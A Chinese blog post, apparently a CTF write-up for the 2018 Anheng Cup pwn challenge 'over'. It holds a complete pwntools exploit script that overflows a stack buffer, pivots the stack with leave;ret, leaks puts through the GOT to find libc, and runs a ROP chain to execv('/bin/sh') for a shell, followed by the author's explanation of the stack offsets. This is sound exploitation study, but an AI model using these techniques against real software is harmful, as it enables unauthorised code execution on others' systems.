美文网首页
2018 安恒杯 over

2018 安恒杯 over

作者: clive0x | 来源:发表于2019-02-07 16:49 被阅读0次

这个为题太烧脑了,leave-ret对rbp/rsp各种操作,被exp代码两行数据烧了一周多。

先上vul代码:80bytes的buf,read 96字节,能控制RBP/RIP,可以构造一个新栈。通常leave/ret形成跳转

from pwn import *

context.clear(arch='amd64')

context.terminal = ['gnome-terminal','-x','sh','-c']

over = ELF('/root/Downloads/ctf/fake_frame/over.over')

p_over = process(over.path)

libc = over.libc

####leave ret

leave_ret = 0x4006BE

### 0x0000000000400793 : pop rdi ; ret 

pop_rdi_ret =    0x400793

print(__name__)

def DEBUG():

    raw_input("DEBUG:")

    cmd = "break *0x4006b9\n"

    gdb.attach(p_over, cmd)

def find_old_rbp():

    global over

    global p_over

    p_over.sendafter('>', 'a' * 80)

    ###########main() func calls vul(),so old_rbp is main's rbp

    x = p_over.recvuntil('\x7f')[-6:].ljust(8,'\0' )

    old_rbp= pwnlib.util.packing.u64(x)

    #DEBUG()

    return old_rbp

    return None

def find_puts_vaddr(fake_rbp):

    global over

    global p_over

    global leave_ret

    global pop_rdi_ret

    #### 0x400676 is vul() addr

    vul = 0x400676

    payload = flat(['C'*8,pop_rdi_ret,over.got['puts'],over.plt['puts'],vul,'D'*40,fake_rbp,leave_ret])

    #payload = flat(['C'*8,pop_rdi_ret,over.got['puts'],over.plt['puts'],'f'*8,'D'*40,fake_rbp,leave_ret])

    p_over.sendafter('>',payload)

    print(" addr %#x========>%s" %(fake_rbp,'C'*8))

    DEBUG()

    puts_vaddr = pwnlib.util.packing.u64(p_over.recvuntil('\x7f')[-6:].ljust(8,'\0'))

    return puts_vaddr

def get_shell(fake_rbp):

    global over

    global p_over

    global leave_ret

    global pop_rdi_ret

    global libc

    ### libc 0x000000000010c8c9 : pop rdx ; pop rsi ; ret

    pop_rdx_rsi_ret = libc.address + 0x10c8c9

    payload = flat(['a'*8,pop_rdi_ret,next(libc.search('/bin/sh')),pop_rdx_rsi_ret,0,0,libc.symbols['execv'],'a'*(80-7*8),fake_rbp-0x30,leave_ret])

    p_over.sendafter('>',payload)

    #DEBUG()

    p_over.interactive()

if __name__ == '__main__':

    ####main()  calls vul() ,so old rbp is main's rbp

    main_rbp = find_old_rbp()

    print("main rbp is:%#x"%main_rbp)

    ###1.main:.text:00000000004006C4                sub    rsp, 10h  --->>>>stack count down 0x10

    ###2.main:.text:0000000000400710                call    vul          ---->>>> push rip (0x8)

    ###3.vul:  .text:0000000000400676                push    rbp        ----->>>>push main rbp (0x8)

    ###4vul:    .text:000000000040067A                sub    rsp, 50h ----->>>>stack count down 0x50

    ###sub 0x70 come to buf start

    fake_rbp = main_rbp - 0x70

    print("fake rbp is:%#x"%fake_rbp)

    puts_vaddr = find_puts_vaddr(fake_rbp)

    print("puts_vaddr is:%#x"%puts_vaddr)

    libc_vaddr = puts_vaddr  - libc.symbols['puts']

    libc.address = libc_vaddr

    print("libc_vaddr is:%#x"%libc_vaddr)

    get_shell(fake_rbp)

    p_over.close()

得到fake rbp绝对地址在exp有详细说明,这个稍简单,getshell()的exp有个 -0x30折腾了好几天

    payload = flat(['a'*8,pop_rdi_ret,next(libc.search('/bin/sh')),pop_rdx_rsi_ret,0,0,libc.symbols['execv'],'a'*(80-7*8),fake_rbp-0x30,leave_ret])

为啥是0x30呢?

先看第一个构建的stack

 payload = flat(['C'*8,pop_rdi_ret,over.got['puts'],over.plt['puts'],vul,'D'*40,fake_rbp,leave_ret])

这个payload执行过程有几个迷糊的地方:

1.puts()执行完后,为啥会执行vul(),有意把'ffffffff'替换vul,看coredump才发现puts()最后一行代码是ret,最熟悉的通常最容易忽略啊。

2.再次进入vul(),执行

栈变成下面这样

|-48|'C'*8|pop_rdi_ret|over.got['puts']|over.plt['puts']|C*8(即老的rbp|'D'*40,fake_rbp,leave_ret

此时rbp指向C*8(即老的rbp),而rsp执向fake_rbp-0x30处去了。

即执行完本次payload,rbp/rsp都变了,需要校调栈的起始位置,否则read()位置不对

总之,对于code on stack,需要不断的跟进rbp/rsp变化,不要想当然的认为fake rbp后就不会变。

相关文章

网友评论

      本文标题:2018 安恒杯 over

      本文链接:https://www.haomeiwen.com/subject/boqgsqtx.html